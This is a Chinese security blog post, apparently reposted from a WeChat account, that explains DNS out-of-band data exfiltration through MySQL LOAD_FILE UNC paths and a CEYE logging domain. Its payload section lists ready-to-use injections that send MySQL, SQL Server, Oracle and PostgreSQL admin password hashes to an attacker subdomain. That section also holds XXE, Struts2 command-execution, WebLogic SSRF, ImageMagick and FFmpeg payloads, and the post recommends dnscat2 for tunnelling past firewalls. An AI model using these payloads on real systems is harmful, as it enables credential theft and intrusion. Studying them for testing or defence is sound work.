利用DNS协议回显数据

这个问题已经是去年提出的了,之前也看到过,在 CTF 题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。

这里对原理进行一波总结,并利用了 CEYE 平台

http://ceye.io/

成功的进行了原理复现利用。

原理分析

这个虽然是利用到了比如说 mysql 的 LOAD_FILE 函数,其实本质还是对 windows 的资源管理器的一个利用,利用协议 // 去进行一个子域名的 DNS 解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)

先了解下 DNS 解析的基本原理吧

一张图解释 DNS 查询过程

下面来详细解释 DNS 域名解析的过程:

1、网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入 www.163.com,这时,你使用的电脑会发出一个 DNS 请求到本地 DNS 服务器。本地 DNS 服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

2、查询 www.163.com 的 DNS 请求到达本地 DNS 服务器之后,本地 DNS 服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地 DNS 服务器还要向 DNS 根服务器进行查询。

3、根 DNS 服务器没有记录具体的域名和 IP 地址的对应关系,而是告诉本地 DNS 服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。

4、本地 DNS 服务器继续向域服务器发出请求,在这个例子中,请求的对象是 .com 域服务器。.com 域服务器收到请求之后,也不会直接返回域名和 IP 地址的对应关系,而是告诉本地 DNS 服务器,你的域名的解析服务器的地址。

5、最后,本地 DNS 服务器向域名的解析服务器发出请求,这时就能收到一个域名和 IP 地址对应关系,本地 DNS 服务器不仅要把 IP 地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。

总结

当你查询 abc.hack.com 这个子域名时,dns 服务器 hack.com 会收到你的解析请求,这里就是 out_of_band 利用的原理了

windows 资源管理器角度

为什么我说这是对 windows 资源管理器的利用,这里进行演示

当你在资源管理器地址栏输入:

\\test.u0ocor.ceye.io\abc

u0ocor.ceye.io 是我申请账号的 dns 解析服务器地址

你的测试账号服务器就会收到 DNS 解析请求,并记录(资源管理器这里不好截图)

数据库漏洞复现

当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个 out_of_band 就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始

测试环境:

A机: win7 mysql 环境,对 secure 进行了修改 B机: win10 mysql 环境,未对 secure 进行了修改

参数 secure_file_priv

这个参数是全局变量,可以通过下列语句进行查询:

A 机:

B 机:

解释:

这个变量用于限制数据导入和导出操作造成的影响,例如由 LOAD DATASELECT…INTO OUTFILE 语句和 LOAD_FILE() 函数执行的操作。

1、如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

2、如果变量为空,则不会产生影响,引起不安全的配置。

3、如果变量设置为 NULL,那么服务器就会禁用导入和导出操作。这个值从 MySQL 5.5.53 版本开始允许。

MySQL 5.5.53 之前,此变量默认为空,因此我们就可以使用这些函数。但是在 5.5.53 之后的版本中,NULL 值会禁用这些功能。(根据两台测试机器不同版本的 mysql 来判断,会默认为 mysql 的一个 /upload 根目录下)

补充一下两个机器的 mysql 版本:

A 机:

B 机:

复现

在满足上述全局变量的条件下,注意四个点:

1、最大查询长度问题,文件的大小限制

2、文件编码是否和数据库相同

3、绝对路径需要使用 //

4、子域名最大长度问题,DNS 规定,域名中的标号都由英文字母和数字组成,每一个标号不超过 63 个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。

下面进行演示:

A 机:

效果如图:

B 机:

效果如图:

至于能用来读取什么文件,或者是查询什么数据就看具体情况和具体需求了,读文件需要考虑文件权限,编码等等问题

漏洞限制

1、限制在 windows 系统,因为原理是利用了 load_file 在 windows 中读取文件利用到了资源管理器(可能不准确,未具体研究,但是能和资源管理器进行相同一个 DNS 查询操作,这个官方文档中并未提及)

2、在 mysql5.5.53 之前,参数 secure_file_priv 一直是为空可以任意进行读取,在我的测试中,之后的 mysql 版本已经对此有所限制(目录限制,没法随意读取文件)

3、漏洞的利用点不一定停留在数据库(更不限于 mysql),如果你能唤起 windows 的资源管理器,就可以成功利用这个 dns 通道查询传输信息

知识扩展

一些可用 payload

windows:

ping %USERNAME%.u0ocor.ceye.io

SQL Server:

DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.ip.port.u0ocor.ceye.io'; EXEC('master..xp_dirtree"\'+@host+'\foobar$"');

Oracle:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.u0ocor.ceye.io'); SELECT UTL_HTTP.REQUEST('http://ip.port.u0ocor.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://ip.port.u0ocor.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.ip.port.u0ocor.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||||'.ip.port.u0ocor.ceye.io',80) FROM DUAL;

MySQL:

SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.u0ocor.ceye.io\abc'));

PostgreSQL:

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\'||query_result||E'.psql.ip.port.u0ocor.ceye.io\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.u0ocor.ceye.io/xxe_test"> %remote;]> <root/>

Struts2

xx.action?redirect:http://ip.port.u0ocor.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.u0ocor.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

EXTM3U EXT-X-MEDIA-SEQUENCE:0 EXTINF:10.0, concat:http://ip.port.u0ocor.ceye.io EXT-X-ENDLIST

Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.u0ocor.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.u0ocor.ceye.io)' pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.u0ocor.ceye.io/ssrf

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.u0ocor.ceye.io/xx.jpg[/img]&formhash=xxoo

扩展玩法

从这个漏洞出发,拓展到任意主机上,这是一个利用 dns 进行内网穿透传输信息的技术,这可以应用于某些渗透场景~

用 kali 演示了一个小脚本

这里推荐一个工具: dnscat2

下载地址:

https://github.com/iagox86/dnscat2

dnscat2 提供客户端和服务端。

使用的条件:

1 一台 vps

2 一个域名控制权限

3 一台内网权限

具体的使用可以结合着两篇博客进行学习,这里不做演示了,扩展阅读:

利用 DNS 隧道传递数据和命令来绕过防火墙

http://blog.csdn.net/tan6600/article/details/52142254

利用 PowerShell 和 Dnscat2 绕过防火墙

https://www.anquanke.com/post/id/85764

技术有限,如文中有理解错误的地方希望大家指出,我及时进行更正

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-01-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏信安之路

轻松理解什么是 SQL 注入

作为长期占据 OWASP Top 10 首位的注入,OWASP 对于注入的解释如下:

11300
来自专栏菩提树下的杨过

利用Lucene打造站内搜索引擎的思路

1.为什么要用Lucene,而不用直接从数据库里搜索记录? 主要是考虑到几个因素:(1)性能问题,Lucene是基于文件索引的搜索机制,性能要比数据库里检索更...

19950
来自专栏极客慕白的成长之路

数据库系统概述必背知识点整理

14120
来自专栏刘望舒

Android 数据库开发(一)SQLite3概述

前言 SQLite是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目,设计目...

22790
来自专栏大数据

Python 101:如何从RottenTomatoes爬取数据

今天,我们将研究如何从热门电影网站Rotten Tomatoes爬取数据。你需要在这里注册一个API key。当你拿到key时,记下你的使用限制(如每分钟限制的...

48960
来自专栏数据和云

Library Cache优化与SQL游标

? 冷菠 冷菠,网名悠然(个人主页http://www.orasky.net),资深DBA,著有《Oracle高性能自动化运维》,有近10年的数据库运维、团队...

29250
来自专栏java一日一条

单机数据库优化的一些实践

数据库优化有很多可以讲,按照支撑的数据量来分可以分为两个阶段:单机数据库和分库分表,前者一般可以支撑500W或者10G以内的数据,超过这个值则需要考虑分库分表。...

11220
来自专栏数据库新发现

MySQL 8.0.12 有什么新特性?

原文链接:http://enmotech.com/web/detail/1/577/1.html

17700
来自专栏java系列博客

pl/sql导入excel到oracle表

23570
来自专栏杨建荣的学习笔记

关于修改分区表的准备和操作细则(r3笔记26天)

在之前的博文中,讨论过一个根据分区键值发现性能问题的案例。90%以上的数据都分布在了一个分区上,其它的分区要么没有数据要么数据很少,这是很明显的分区问题。当然这...

31360

扫码关注云+社区

领取腾讯云代金券